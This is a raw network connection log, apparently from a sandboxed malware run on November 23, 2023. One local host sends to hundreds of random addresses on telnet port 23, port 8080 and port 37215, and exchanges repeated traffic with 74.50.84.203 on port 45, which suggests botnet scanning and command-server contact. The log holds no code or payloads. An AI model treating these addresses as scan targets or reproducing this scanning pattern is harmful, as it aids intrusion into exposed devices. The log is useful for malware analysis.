Nov 23, 2023 05:14:47.615042925 CET	54202	8080	192.168.2.13	94.108.192.101
Nov 23, 2023 05:14:47.615042925 CET	54202	8080	192.168.2.13	94.196.197.246
Nov 23, 2023 05:14:47.615057945 CET	54202	8080	192.168.2.13	95.59.209.66
Nov 23, 2023 05:14:47.615063906 CET	54202	8080	192.168.2.13	94.176.49.245
Nov 23, 2023 05:14:47.615063906 CET	54202	8080	192.168.2.13	31.38.149.228
Nov 23, 2023 05:14:47.615063906 CET	54202	8080	192.168.2.13	31.166.12.85
Nov 23, 2023 05:14:47.615068913 CET	54202	8080	192.168.2.13	31.245.116.108
Nov 23, 2023 05:14:47.615075111 CET	54202	8080	192.168.2.13	95.253.194.253
Nov 23, 2023 05:14:47.615076065 CET	54202	8080	192.168.2.13	94.103.121.110
Nov 23, 2023 05:14:47.615077019 CET	54202	8080	192.168.2.13	94.114.39.6
Nov 23, 2023 05:14:47.615076065 CET	54202	8080	192.168.2.13	31.216.178.18
Nov 23, 2023 05:14:47.615075111 CET	54202	8080	192.168.2.13	95.134.129.249
Nov 23, 2023 05:14:47.615076065 CET	54202	8080	192.168.2.13	31.195.30.149
Nov 23, 2023 05:14:47.615075111 CET	54202	8080	192.168.2.13	94.203.197.84
Nov 23, 2023 05:14:47.615076065 CET	54202	8080	192.168.2.13	95.58.5.85
Nov 23, 2023 05:14:47.615077019 CET	54202	8080	192.168.2.13	95.219.210.236
Nov 23, 2023 05:14:47.615076065 CET	54202	8080	192.168.2.13	31.5.171.44
Nov 23, 2023 05:14:47.615077019 CET	54202	8080	192.168.2.13	95.118.235.30
Nov 23, 2023 05:14:47.615077019 CET	54202	8080	192.168.2.13	94.115.222.191
Nov 23, 2023 05:14:47.615077019 CET	54202	8080	192.168.2.13	85.29.56.37
Nov 23, 2023 05:14:47.615075111 CET	54202	8080	192.168.2.13	62.230.215.106
Nov 23, 2023 05:14:47.615134001 CET	54202	8080	192.168.2.13	62.11.119.12
Nov 23, 2023 05:14:47.615134001 CET	54202	8080	192.168.2.13	62.187.218.66
Nov 23, 2023 05:14:47.615137100 CET	54202	8080	192.168.2.13	62.185.136.237
Nov 23, 2023 05:14:47.615137100 CET	54202	8080	192.168.2.13	85.192.237.132
Nov 23, 2023 05:14:47.615137100 CET	54202	8080	192.168.2.13	85.188.118.201
Nov 23, 2023 05:14:47.615138054 CET	54202	8080	192.168.2.13	95.250.209.113
Nov 23, 2023 05:14:47.615139008 CET	54202	8080	192.168.2.13	95.84.115.57
Nov 23, 2023 05:14:47.615139008 CET	54202	8080	192.168.2.13	31.175.230.14
Nov 23, 2023 05:14:47.615139008 CET	54202	8080	192.168.2.13	31.34.64.16
Nov 23, 2023 05:14:47.615139008 CET	54202	8080	192.168.2.13	85.110.161.106
Nov 23, 2023 05:14:47.615139008 CET	54202	8080	192.168.2.13	94.222.180.250
Nov 23, 2023 05:14:47.615143061 CET	54202	8080	192.168.2.13	31.30.193.19
Nov 23, 2023 05:14:47.615143061 CET	54202	8080	192.168.2.13	62.231.187.243
Nov 23, 2023 05:14:47.615143061 CET	54202	8080	192.168.2.13	85.22.169.116
Nov 23, 2023 05:14:47.615143061 CET	54202	8080	192.168.2.13	95.195.171.186
Nov 23, 2023 05:14:47.615143061 CET	54202	8080	192.168.2.13	95.198.170.246
Nov 23, 2023 05:14:47.615143061 CET	54202	8080	192.168.2.13	31.241.140.187
Nov 23, 2023 05:14:47.615143061 CET	54202	8080	192.168.2.13	31.131.169.226
Nov 23, 2023 05:14:47.615163088 CET	54202	8080	192.168.2.13	94.44.103.106
Nov 23, 2023 05:14:47.615164042 CET	54202	8080	192.168.2.13	85.198.213.155
Nov 23, 2023 05:14:47.615164042 CET	54202	8080	192.168.2.13	95.92.4.129
Nov 23, 2023 05:14:47.615164995 CET	54202	8080	192.168.2.13	62.144.205.237
Nov 23, 2023 05:14:47.615165949 CET	54202	8080	192.168.2.13	31.46.212.16
Nov 23, 2023 05:14:47.615165949 CET	54202	8080	192.168.2.13	62.255.10.253
Nov 23, 2023 05:14:47.615165949 CET	54202	8080	192.168.2.13	62.180.169.238
Nov 23, 2023 05:14:47.615166903 CET	54202	8080	192.168.2.13	62.8.215.55
Nov 23, 2023 05:14:47.615166903 CET	54202	8080	192.168.2.13	31.238.44.188
Nov 23, 2023 05:14:47.615166903 CET	54202	8080	192.168.2.13	94.242.238.36
Nov 23, 2023 05:14:47.615166903 CET	54202	8080	192.168.2.13	95.50.77.217
Nov 23, 2023 05:14:47.615166903 CET	54202	8080	192.168.2.13	85.88.162.222
Nov 23, 2023 05:14:47.615166903 CET	54202	8080	192.168.2.13	31.229.204.76
Nov 23, 2023 05:14:47.615166903 CET	54202	8080	192.168.2.13	85.83.37.236
Nov 23, 2023 05:14:47.615166903 CET	54202	8080	192.168.2.13	85.212.197.104
Nov 23, 2023 05:14:47.615191936 CET	54202	8080	192.168.2.13	62.151.62.109
Nov 23, 2023 05:14:47.615191936 CET	54202	8080	192.168.2.13	31.55.244.150
Nov 23, 2023 05:14:47.615191936 CET	54202	8080	192.168.2.13	94.214.81.23
Nov 23, 2023 05:14:47.615191936 CET	54202	8080	192.168.2.13	94.102.48.111
Nov 23, 2023 05:14:47.615191936 CET	54202	8080	192.168.2.13	85.111.214.196
Nov 23, 2023 05:14:47.615200043 CET	54202	8080	192.168.2.13	95.240.65.206
Nov 23, 2023 05:14:47.615200043 CET	54202	8080	192.168.2.13	94.248.149.228
Nov 23, 2023 05:14:47.615200043 CET	54202	8080	192.168.2.13	31.30.184.21
Nov 23, 2023 05:14:47.615200043 CET	54202	8080	192.168.2.13	31.61.200.188
Nov 23, 2023 05:14:47.615222931 CET	54202	8080	192.168.2.13	94.212.145.216
Nov 23, 2023 05:14:47.615222931 CET	54202	8080	192.168.2.13	62.4.13.18
Nov 23, 2023 05:14:47.615222931 CET	54202	8080	192.168.2.13	95.43.201.183
Nov 23, 2023 05:14:47.615222931 CET	54202	8080	192.168.2.13	95.96.59.16
Nov 23, 2023 05:14:47.615222931 CET	54202	8080	192.168.2.13	31.209.175.46
Nov 23, 2023 05:14:47.615232944 CET	54202	8080	192.168.2.13	94.221.203.143
Nov 23, 2023 05:14:47.615233898 CET	54202	8080	192.168.2.13	85.239.193.242
Nov 23, 2023 05:14:47.615232944 CET	54202	8080	192.168.2.13	85.32.65.157
Nov 23, 2023 05:14:47.615232944 CET	54202	8080	192.168.2.13	31.88.165.138
Nov 23, 2023 05:14:47.615232944 CET	54202	8080	192.168.2.13	94.68.14.0
Nov 23, 2023 05:14:47.615236998 CET	54202	8080	192.168.2.13	95.91.55.144
Nov 23, 2023 05:14:47.615238905 CET	54202	8080	192.168.2.13	31.131.31.105
Nov 23, 2023 05:14:47.615236044 CET	54202	8080	192.168.2.13	95.53.22.36
Nov 23, 2023 05:14:47.615238905 CET	54202	8080	192.168.2.13	62.144.104.226
Nov 23, 2023 05:14:47.615236998 CET	54202	8080	192.168.2.13	31.142.145.165
Nov 23, 2023 05:14:47.615240097 CET	54202	8080	192.168.2.13	94.101.217.12
Nov 23, 2023 05:14:47.615236044 CET	54202	8080	192.168.2.13	95.89.230.110
Nov 23, 2023 05:14:47.615236998 CET	54202	8080	192.168.2.13	62.57.109.238
Nov 23, 2023 05:14:47.615240097 CET	54202	8080	192.168.2.13	85.169.113.162
Nov 23, 2023 05:14:47.615236044 CET	54202	8080	192.168.2.13	31.209.23.145
Nov 23, 2023 05:14:47.615240097 CET	54202	8080	192.168.2.13	31.229.122.115
Nov 23, 2023 05:14:47.615236998 CET	54202	8080	192.168.2.13	95.131.66.5
Nov 23, 2023 05:14:47.615240097 CET	54202	8080	192.168.2.13	62.243.238.5
Nov 23, 2023 05:14:47.615236044 CET	54202	8080	192.168.2.13	62.117.60.123
Nov 23, 2023 05:14:47.615248919 CET	54202	8080	192.168.2.13	85.126.181.94
Nov 23, 2023 05:14:47.615236044 CET	54202	8080	192.168.2.13	31.4.15.162
Nov 23, 2023 05:14:47.615236998 CET	54202	8080	192.168.2.13	31.80.28.250
Nov 23, 2023 05:14:47.615256071 CET	54202	8080	192.168.2.13	31.6.23.197
Nov 23, 2023 05:14:47.615257978 CET	54202	8080	192.168.2.13	94.185.70.92
Nov 23, 2023 05:14:47.615277052 CET	54202	8080	192.168.2.13	95.178.243.54
Nov 23, 2023 05:14:47.615282059 CET	54202	8080	192.168.2.13	85.253.220.206
Nov 23, 2023 05:14:47.706120014 CET	45	40280	74.50.84.203	192.168.2.13
Nov 23, 2023 05:14:47.706182957 CET	40280	45	192.168.2.13	74.50.84.203
Nov 23, 2023 05:14:47.706545115 CET	40280	45	192.168.2.13	74.50.84.203
Nov 23, 2023 05:14:47.771311045 CET	23	55738	45.165.109.191	192.168.2.13
Nov 23, 2023 05:14:47.774112940 CET	23	55738	2.239.248.170	192.168.2.13
Nov 23, 2023 05:14:47.774163008 CET	55738	23	192.168.2.13	2.239.248.170
Nov 23, 2023 05:14:47.803518057 CET	8080	54202	62.138.122.177	192.168.2.13
Nov 23, 2023 05:14:47.809026003 CET	8080	54202	85.230.200.185	192.168.2.13
Nov 23, 2023 05:14:47.812670946 CET	37215	54970	197.145.225.130	192.168.2.13
Nov 23, 2023 05:14:47.819680929 CET	8080	54202	85.221.254.4	192.168.2.13
Nov 23, 2023 05:14:47.821228027 CET	8080	54202	94.196.197.246	192.168.2.13
Nov 23, 2023 05:14:47.822283030 CET	8080	54202	95.170.239.158	192.168.2.13
Nov 23, 2023 05:14:47.825342894 CET	45	40280	74.50.84.203	192.168.2.13
Nov 23, 2023 05:14:47.825418949 CET	40280	45	192.168.2.13	74.50.84.203
Nov 23, 2023 05:14:47.827218056 CET	8080	54202	31.128.240.40	192.168.2.13
Nov 23, 2023 05:14:47.831007004 CET	8080	54202	94.77.100.158	192.168.2.13
Nov 23, 2023 05:14:47.832936049 CET	8080	54202	95.198.170.246	192.168.2.13
Nov 23, 2023 05:14:47.834013939 CET	8080	54202	31.13.220.179	192.168.2.13
Nov 23, 2023 05:14:47.837265015 CET	8080	54202	94.30.246.143	192.168.2.13
Nov 23, 2023 05:14:47.843611956 CET	8080	54202	94.120.10.121	192.168.2.13
Nov 23, 2023 05:14:47.843663931 CET	54202	8080	192.168.2.13	94.120.10.121
Nov 23, 2023 05:14:47.843919992 CET	23	55738	121.3.247.85	192.168.2.13
Nov 23, 2023 05:14:47.860532999 CET	8080	54202	31.153.114.111	192.168.2.13
Nov 23, 2023 05:14:47.869508028 CET	37215	54970	41.184.122.222	192.168.2.13
Nov 23, 2023 05:14:47.895524025 CET	8080	54202	85.234.126.118	192.168.2.13
Nov 23, 2023 05:14:47.895693064 CET	54202	8080	192.168.2.13	85.234.126.118
Nov 23, 2023 05:14:47.906884909 CET	37215	54970	156.224.12.71	192.168.2.13
Nov 23, 2023 05:14:47.907138109 CET	54970	37215	192.168.2.13	156.224.12.71
Nov 23, 2023 05:14:47.912439108 CET	37215	54970	156.247.25.138	192.168.2.13
Nov 23, 2023 05:14:47.912524939 CET	54970	37215	192.168.2.13	156.247.25.138
Nov 23, 2023 05:14:47.941859007 CET	45	40280	74.50.84.203	192.168.2.13
Nov 23, 2023 05:14:47.951313019 CET	23	55738	47.104.39.34	192.168.2.13
Nov 23, 2023 05:14:47.951337099 CET	23	55738	47.104.39.34	192.168.2.13
Nov 23, 2023 05:14:47.951422930 CET	55738	23	192.168.2.13	47.104.39.34
Nov 23, 2023 05:14:47.951422930 CET	55738	23	192.168.2.13	47.104.39.34
Nov 23, 2023 05:14:47.981863022 CET	37215	54970	41.175.184.223	192.168.2.13
Nov 23, 2023 05:14:48.589459896 CET	55738	23	192.168.2.13	162.19.19.4
Nov 23, 2023 05:14:48.589476109 CET	55738	23	192.168.2.13	145.176.173.175
Nov 23, 2023 05:14:48.589478016 CET	55738	23	192.168.2.13	161.249.17.50
Nov 23, 2023 05:14:48.589492083 CET	55738	23	192.168.2.13	38.164.252.100
Nov 23, 2023 05:14:48.589492083 CET	55738	23	192.168.2.13	4.199.78.203
Nov 23, 2023 05:14:48.589494944 CET	55738	23	192.168.2.13	45.201.38.13
Nov 23, 2023 05:14:48.589494944 CET	55738	23	192.168.2.13	93.212.206.1
Nov 23, 2023 05:14:48.589498043 CET	55738	23	192.168.2.13	190.126.113.182
Nov 23, 2023 05:14:48.589521885 CET	55738	23	192.168.2.13	133.127.41.2
Nov 23, 2023 05:14:48.589521885 CET	55738	23	192.168.2.13	217.253.77.243
Nov 23, 2023 05:14:48.589523077 CET	55738	23	192.168.2.13	98.74.252.238
Nov 23, 2023 05:14:48.589524031 CET	55738	23	192.168.2.13	188.185.118.47
Nov 23, 2023 05:14:48.589524031 CET	55738	23	192.168.2.13	196.69.188.62
Nov 23, 2023 05:14:48.589524984 CET	55738	23	192.168.2.13	207.69.217.166
Nov 23, 2023 05:14:48.589549065 CET	55738	23	192.168.2.13	253.58.115.30
Nov 23, 2023 05:14:48.589549065 CET	55738	23	192.168.2.13	44.72.156.29
Nov 23, 2023 05:14:48.589555025 CET	55738	23	192.168.2.13	91.56.197.153
Nov 23, 2023 05:14:48.589555025 CET	55738	23	192.168.2.13	149.82.4.244
Nov 23, 2023 05:14:48.589564085 CET	55738	23	192.168.2.13	47.56.135.82
Nov 23, 2023 05:14:48.589564085 CET	55738	23	192.168.2.13	136.105.44.251
Nov 23, 2023 05:14:48.589582920 CET	55738	23	192.168.2.13	101.247.102.224
Nov 23, 2023 05:14:48.589582920 CET	55738	23	192.168.2.13	86.40.227.249
Nov 23, 2023 05:14:48.589585066 CET	55738	23	192.168.2.13	164.161.81.103
Nov 23, 2023 05:14:48.589591026 CET	55738	23	192.168.2.13	72.77.118.106
Nov 23, 2023 05:14:48.589591980 CET	55738	23	192.168.2.13	72.131.13.108
Nov 23, 2023 05:14:48.589602947 CET	55738	23	192.168.2.13	216.105.142.48
Nov 23, 2023 05:14:48.589602947 CET	55738	23	192.168.2.13	77.168.126.166
Nov 23, 2023 05:14:48.589606047 CET	55738	23	192.168.2.13	116.170.124.94
Nov 23, 2023 05:14:48.589610100 CET	55738	23	192.168.2.13	250.123.243.254
Nov 23, 2023 05:14:48.589610100 CET	55738	23	192.168.2.13	244.131.88.64
Nov 23, 2023 05:14:48.589620113 CET	55738	23	192.168.2.13	110.203.184.90
Nov 23, 2023 05:14:48.589622021 CET	55738	23	192.168.2.13	45.224.12.118
Nov 23, 2023 05:14:48.589622021 CET	55738	23	192.168.2.13	217.66.105.95
Nov 23, 2023 05:14:48.589637041 CET	55738	23	192.168.2.13	143.33.151.179
Nov 23, 2023 05:14:48.589643002 CET	55738	23	192.168.2.13	165.228.53.38
Nov 23, 2023 05:14:48.589643002 CET	55738	23	192.168.2.13	192.22.86.108
Nov 23, 2023 05:14:48.589654922 CET	55738	23	192.168.2.13	146.106.232.83
Nov 23, 2023 05:14:48.589675903 CET	55738	23	192.168.2.13	65.92.122.209
Nov 23, 2023 05:14:48.589678049 CET	55738	23	192.168.2.13	8.129.168.227
Nov 23, 2023 05:14:48.589680910 CET	55738	23	192.168.2.13	175.62.0.15
Nov 23, 2023 05:14:48.589680910 CET	55738	23	192.168.2.13	145.34.151.77
Nov 23, 2023 05:14:48.589680910 CET	55738	23	192.168.2.13	174.228.142.2
Nov 23, 2023 05:14:48.589684010 CET	55738	23	192.168.2.13	106.120.57.223
Nov 23, 2023 05:14:48.589687109 CET	55738	23	192.168.2.13	168.249.149.240
Nov 23, 2023 05:14:48.589687109 CET	55738	23	192.168.2.13	196.195.208.45
Nov 23, 2023 05:14:48.589692116 CET	55738	23	192.168.2.13	60.27.85.96
Nov 23, 2023 05:14:48.589692116 CET	55738	23	192.168.2.13	161.5.66.219
Nov 23, 2023 05:14:48.589699984 CET	55738	23	192.168.2.13	73.157.81.25
Nov 23, 2023 05:14:48.589709997 CET	55738	23	192.168.2.13	93.25.74.252
Nov 23, 2023 05:14:48.589709997 CET	55738	23	192.168.2.13	19.82.223.144
Nov 23, 2023 05:14:48.589716911 CET	55738	23	192.168.2.13	86.11.120.120
Nov 23, 2023 05:14:48.589718103 CET	55738	23	192.168.2.13	85.218.64.192
Nov 23, 2023 05:14:48.589718103 CET	55738	23	192.168.2.13	243.157.193.20
Nov 23, 2023 05:14:48.589718103 CET	55738	23	192.168.2.13	251.16.66.223
Nov 23, 2023 05:14:48.589720964 CET	55738	23	192.168.2.13	31.139.10.118
Nov 23, 2023 05:14:48.589741945 CET	55738	23	192.168.2.13	185.45.232.74
Nov 23, 2023 05:14:48.589747906 CET	55738	23	192.168.2.13	221.89.118.34
Nov 23, 2023 05:14:48.589764118 CET	55738	23	192.168.2.13	57.15.96.233
Nov 23, 2023 05:14:48.589766026 CET	55738	23	192.168.2.13	13.35.21.37
Nov 23, 2023 05:14:48.589768887 CET	55738	23	192.168.2.13	173.144.10.40
Nov 23, 2023 05:14:48.589781046 CET	55738	23	192.168.2.13	213.67.227.171
Nov 23, 2023 05:14:48.589792013 CET	55738	23	192.168.2.13	182.195.216.76
Nov 23, 2023 05:14:48.589792013 CET	55738	23	192.168.2.13	176.159.209.118
Nov 23, 2023 05:14:48.589792967 CET	55738	23	192.168.2.13	24.9.80.116
Nov 23, 2023 05:14:48.589793921 CET	55738	23	192.168.2.13	95.1.113.131
Nov 23, 2023 05:14:48.589808941 CET	55738	23	192.168.2.13	189.143.28.199
Nov 23, 2023 05:14:48.589808941 CET	55738	23	192.168.2.13	78.19.110.85
Nov 23, 2023 05:14:48.589817047 CET	55738	23	192.168.2.13	91.99.231.145
Nov 23, 2023 05:14:48.589823961 CET	55738	23	192.168.2.13	42.108.72.218
Nov 23, 2023 05:14:48.589826107 CET	55738	23	192.168.2.13	54.63.44.11
Nov 23, 2023 05:14:48.589828014 CET	55738	23	192.168.2.13	32.58.89.162
Nov 23, 2023 05:14:48.589843988 CET	55738	23	192.168.2.13	76.88.22.18
Nov 23, 2023 05:14:48.589864969 CET	55738	23	192.168.2.13	60.193.41.228
Nov 23, 2023 05:14:48.589867115 CET	55738	23	192.168.2.13	156.49.187.116
Nov 23, 2023 05:14:48.589868069 CET	55738	23	192.168.2.13	4.137.237.227
Nov 23, 2023 05:14:48.589867115 CET	55738	23	192.168.2.13	64.244.8.33
Nov 23, 2023 05:14:48.589880943 CET	55738	23	192.168.2.13	130.251.148.91
Nov 23, 2023 05:14:48.589880943 CET	55738	23	192.168.2.13	16.153.103.161
Nov 23, 2023 05:14:48.589906931 CET	55738	23	192.168.2.13	164.99.217.122
Nov 23, 2023 05:14:48.589909077 CET	55738	23	192.168.2.13	47.107.208.58
Nov 23, 2023 05:14:48.589910030 CET	55738	23	192.168.2.13	146.192.35.126
Nov 23, 2023 05:14:48.589910030 CET	55738	23	192.168.2.13	210.34.173.35
Nov 23, 2023 05:14:48.589914083 CET	55738	23	192.168.2.13	145.149.213.68
Nov 23, 2023 05:14:48.589915991 CET	55738	23	192.168.2.13	40.191.160.66
Nov 23, 2023 05:14:48.589915991 CET	55738	23	192.168.2.13	70.180.176.144
Nov 23, 2023 05:14:48.589917898 CET	55738	23	192.168.2.13	195.149.162.79
Nov 23, 2023 05:14:48.589921951 CET	55738	23	192.168.2.13	167.56.220.212
Nov 23, 2023 05:14:48.589930058 CET	55738	23	192.168.2.13	35.230.19.119
Nov 23, 2023 05:14:48.589939117 CET	55738	23	192.168.2.13	78.165.25.252
Nov 23, 2023 05:14:48.589940071 CET	55738	23	192.168.2.13	149.109.218.213
Nov 23, 2023 05:14:48.589940071 CET	55738	23	192.168.2.13	196.166.179.78
Nov 23, 2023 05:14:48.589948893 CET	55738	23	192.168.2.13	196.162.92.107
Nov 23, 2023 05:14:48.589961052 CET	55738	23	192.168.2.13	211.107.63.46
Nov 23, 2023 05:14:48.589987993 CET	55738	23	192.168.2.13	150.10.255.190
Nov 23, 2023 05:14:48.589989901 CET	55738	23	192.168.2.13	38.227.94.160
Nov 23, 2023 05:14:48.589996099 CET	55738	23	192.168.2.13	135.155.71.80
Nov 23, 2023 05:14:48.590007067 CET	55738	23	192.168.2.13	82.68.16.3
Nov 23, 2023 05:14:48.590007067 CET	55738	23	192.168.2.13	177.68.177.200
Nov 23, 2023 05:14:48.590007067 CET	55738	23	192.168.2.13	40.87.109.242
Nov 23, 2023 05:14:48.590009928 CET	55738	23	192.168.2.13	18.176.78.60
Nov 23, 2023 05:14:48.590009928 CET	55738	23	192.168.2.13	184.121.158.171
Nov 23, 2023 05:14:48.590009928 CET	55738	23	192.168.2.13	107.129.51.185
Nov 23, 2023 05:14:48.590009928 CET	55738	23	192.168.2.13	80.190.179.216
Nov 23, 2023 05:14:48.590010881 CET	55738	23	192.168.2.13	59.142.214.178
Nov 23, 2023 05:14:48.590019941 CET	55738	23	192.168.2.13	68.38.209.115
Nov 23, 2023 05:14:48.590023994 CET	55738	23	192.168.2.13	212.230.14.155
Nov 23, 2023 05:14:48.590027094 CET	55738	23	192.168.2.13	19.175.111.122
Nov 23, 2023 05:14:48.590034962 CET	55738	23	192.168.2.13	106.175.47.132
Nov 23, 2023 05:14:48.590034962 CET	55738	23	192.168.2.13	118.84.214.203
Nov 23, 2023 05:14:48.590039968 CET	55738	23	192.168.2.13	162.202.174.254
Nov 23, 2023 05:14:48.590044975 CET	55738	23	192.168.2.13	217.39.151.236
Nov 23, 2023 05:14:48.590049028 CET	55738	23	192.168.2.13	45.209.245.120
Nov 23, 2023 05:14:48.590064049 CET	55738	23	192.168.2.13	156.95.6.224
Nov 23, 2023 05:14:48.590071917 CET	55738	23	192.168.2.13	102.86.232.215
Nov 23, 2023 05:14:48.590075016 CET	55738	23	192.168.2.13	184.55.177.197
Nov 23, 2023 05:14:48.590085983 CET	55738	23	192.168.2.13	75.58.39.96
Nov 23, 2023 05:14:48.590085983 CET	55738	23	192.168.2.13	128.2.209.36
Nov 23, 2023 05:14:48.590095043 CET	55738	23	192.168.2.13	207.115.156.199
Nov 23, 2023 05:14:48.590099096 CET	55738	23	192.168.2.13	16.19.250.32
Nov 23, 2023 05:14:48.590100050 CET	55738	23	192.168.2.13	220.254.167.37
Nov 23, 2023 05:14:48.590106010 CET	55738	23	192.168.2.13	199.1.117.144
Nov 23, 2023 05:14:48.590117931 CET	55738	23	192.168.2.13	157.6.217.247
Nov 23, 2023 05:14:48.590125084 CET	55738	23	192.168.2.13	60.178.37.196
Nov 23, 2023 05:14:48.590140104 CET	55738	23	192.168.2.13	180.91.248.107
Nov 23, 2023 05:14:48.590140104 CET	55738	23	192.168.2.13	216.116.218.132
Nov 23, 2023 05:14:48.590141058 CET	55738	23	192.168.2.13	113.39.114.73
Nov 23, 2023 05:14:48.590148926 CET	55738	23	192.168.2.13	121.245.191.137
Nov 23, 2023 05:14:48.590153933 CET	55738	23	192.168.2.13	69.188.209.222
Nov 23, 2023 05:14:48.590167999 CET	55738	23	192.168.2.13	16.250.184.117
Nov 23, 2023 05:14:48.590183020 CET	55738	23	192.168.2.13	123.13.8.97
Nov 23, 2023 05:14:48.590209007 CET	55738	23	192.168.2.13	170.145.163.33
Nov 23, 2023 05:14:48.590209007 CET	55738	23	192.168.2.13	42.82.191.157
Nov 23, 2023 05:14:48.590219975 CET	55738	23	192.168.2.13	176.131.72.176
Nov 23, 2023 05:14:48.590219975 CET	55738	23	192.168.2.13	18.54.130.124
Nov 23, 2023 05:14:48.590228081 CET	55738	23	192.168.2.13	45.168.202.88
Nov 23, 2023 05:14:48.590233088 CET	55738	23	192.168.2.13	110.187.89.231
Nov 23, 2023 05:14:48.590241909 CET	55738	23	192.168.2.13	81.197.7.118
Nov 23, 2023 05:14:48.590241909 CET	55738	23	192.168.2.13	247.239.171.172
Nov 23, 2023 05:14:48.590241909 CET	55738	23	192.168.2.13	59.167.41.40
Nov 23, 2023 05:14:48.590260983 CET	55738	23	192.168.2.13	179.141.243.28
Nov 23, 2023 05:14:48.590265989 CET	55738	23	192.168.2.13	223.100.181.94
Nov 23, 2023 05:14:48.590267897 CET	55738	23	192.168.2.13	204.177.67.116
Nov 23, 2023 05:14:48.590267897 CET	55738	23	192.168.2.13	64.232.3.23
Nov 23, 2023 05:14:48.590287924 CET	55738	23	192.168.2.13	182.14.21.42
Nov 23, 2023 05:14:48.590287924 CET	55738	23	192.168.2.13	169.166.74.7
Nov 23, 2023 05:14:48.590289116 CET	55738	23	192.168.2.13	223.112.37.23
Nov 23, 2023 05:14:48.590289116 CET	55738	23	192.168.2.13	45.104.14.24
Nov 23, 2023 05:14:48.590289116 CET	55738	23	192.168.2.13	31.160.28.189
Nov 23, 2023 05:14:48.590292931 CET	55738	23	192.168.2.13	66.250.35.210
Nov 23, 2023 05:14:48.590292931 CET	55738	23	192.168.2.13	42.123.47.213
Nov 23, 2023 05:14:48.590301037 CET	55738	23	192.168.2.13	72.201.44.70
Nov 23, 2023 05:14:48.590303898 CET	55738	23	192.168.2.13	46.172.222.103
Nov 23, 2023 05:14:48.590316057 CET	55738	23	192.168.2.13	174.80.86.148
Nov 23, 2023 05:14:48.590320110 CET	55738	23	192.168.2.13	167.251.231.46
Nov 23, 2023 05:14:48.590320110 CET	55738	23	192.168.2.13	160.113.45.189
Nov 23, 2023 05:14:48.590320110 CET	55738	23	192.168.2.13	75.201.126.68
Nov 23, 2023 05:14:48.590328932 CET	55738	23	192.168.2.13	219.79.22.44
Nov 23, 2023 05:14:48.590332985 CET	55738	23	192.168.2.13	69.116.31.171
Nov 23, 2023 05:14:48.590343952 CET	55738	23	192.168.2.13	44.79.125.203
Nov 23, 2023 05:14:48.590343952 CET	55738	23	192.168.2.13	85.202.16.66
Nov 23, 2023 05:14:48.590370893 CET	55738	23	192.168.2.13	191.143.96.107
Nov 23, 2023 05:14:48.590372086 CET	55738	23	192.168.2.13	14.81.46.62
Nov 23, 2023 05:14:48.590370893 CET	55738	23	192.168.2.13	155.245.151.92
Nov 23, 2023 05:14:48.590372086 CET	55738	23	192.168.2.13	216.250.33.27
Nov 23, 2023 05:14:48.590372086 CET	55738	23	192.168.2.13	241.34.226.134
Nov 23, 2023 05:14:48.590372086 CET	55738	23	192.168.2.13	161.230.20.182
Nov 23, 2023 05:14:48.590375900 CET	55738	23	192.168.2.13	178.125.78.193
Nov 23, 2023 05:14:48.590384960 CET	55738	23	192.168.2.13	16.152.60.97
Nov 23, 2023 05:14:48.590394020 CET	55738	23	192.168.2.13	148.92.117.169
Nov 23, 2023 05:14:48.590394974 CET	55738	23	192.168.2.13	67.180.168.84
Nov 23, 2023 05:14:48.590394020 CET	55738	23	192.168.2.13	146.214.84.154
Nov 23, 2023 05:14:48.590394974 CET	55738	23	192.168.2.13	241.0.100.102
Nov 23, 2023 05:14:48.590394974 CET	55738	23	192.168.2.13	105.33.167.231
Nov 23, 2023 05:14:48.590399981 CET	55738	23	192.168.2.13	147.67.109.152
Nov 23, 2023 05:14:48.590418100 CET	55738	23	192.168.2.13	77.87.244.215
Nov 23, 2023 05:14:48.590419054 CET	55738	23	192.168.2.13	167.31.217.41
Nov 23, 2023 05:14:48.590419054 CET	55738	23	192.168.2.13	155.102.194.198
Nov 23, 2023 05:14:48.590419054 CET	55738	23	192.168.2.13	175.179.23.1
Nov 23, 2023 05:14:48.590423107 CET	55738	23	192.168.2.13	220.176.186.175
Nov 23, 2023 05:14:48.590423107 CET	55738	23	192.168.2.13	113.178.48.7
Nov 23, 2023 05:14:48.590431929 CET	55738	23	192.168.2.13	241.64.73.200
Nov 23, 2023 05:14:48.590440989 CET	55738	23	192.168.2.13	204.41.233.78
Nov 23, 2023 05:14:48.590455055 CET	55738	23	192.168.2.13	43.200.97.64
Nov 23, 2023 05:14:48.590459108 CET	55738	23	192.168.2.13	76.58.17.40
Nov 23, 2023 05:14:48.590465069 CET	55738	23	192.168.2.13	207.146.182.166
Nov 23, 2023 05:14:48.590465069 CET	55738	23	192.168.2.13	97.143.100.40
Nov 23, 2023 05:14:48.590475082 CET	55738	23	192.168.2.13	83.13.210.19
Nov 23, 2023 05:14:48.590477943 CET	55738	23	192.168.2.13	120.88.153.161
Nov 23, 2023 05:14:48.590477943 CET	55738	23	192.168.2.13	31.114.30.90
Nov 23, 2023 05:14:48.590477943 CET	55738	23	192.168.2.13	19.86.76.217
Nov 23, 2023 05:14:48.590492010 CET	55738	23	192.168.2.13	209.241.194.31
Nov 23, 2023 05:14:48.590492010 CET	55738	23	192.168.2.13	243.119.187.61
Nov 23, 2023 05:14:48.590500116 CET	55738	23	192.168.2.13	192.72.116.211
Nov 23, 2023 05:14:48.590512037 CET	55738	23	192.168.2.13	174.254.240.198
Nov 23, 2023 05:14:48.590516090 CET	55738	23	192.168.2.13	83.9.79.133
Nov 23, 2023 05:14:48.590517044 CET	55738	23	192.168.2.13	208.176.5.239
Nov 23, 2023 05:14:48.590526104 CET	55738	23	192.168.2.13	203.7.177.17
Nov 23, 2023 05:14:48.590529919 CET	55738	23	192.168.2.13	249.86.13.116
Nov 23, 2023 05:14:48.590529919 CET	55738	23	192.168.2.13	47.152.22.222
Nov 23, 2023 05:14:48.590543032 CET	55738	23	192.168.2.13	166.239.157.231
Nov 23, 2023 05:14:48.590543032 CET	55738	23	192.168.2.13	219.22.229.216
Nov 23, 2023 05:14:48.590548038 CET	55738	23	192.168.2.13	188.118.28.250
Nov 23, 2023 05:14:48.590550900 CET	55738	23	192.168.2.13	248.58.183.132
Nov 23, 2023 05:14:48.590550900 CET	55738	23	192.168.2.13	174.247.236.0
Nov 23, 2023 05:14:48.590568066 CET	55738	23	192.168.2.13	252.137.67.25
Nov 23, 2023 05:14:48.590568066 CET	55738	23	192.168.2.13	191.18.34.200
Nov 23, 2023 05:14:48.590578079 CET	55738	23	192.168.2.13	12.252.67.129
Nov 23, 2023 05:14:48.590578079 CET	55738	23	192.168.2.13	142.254.107.80
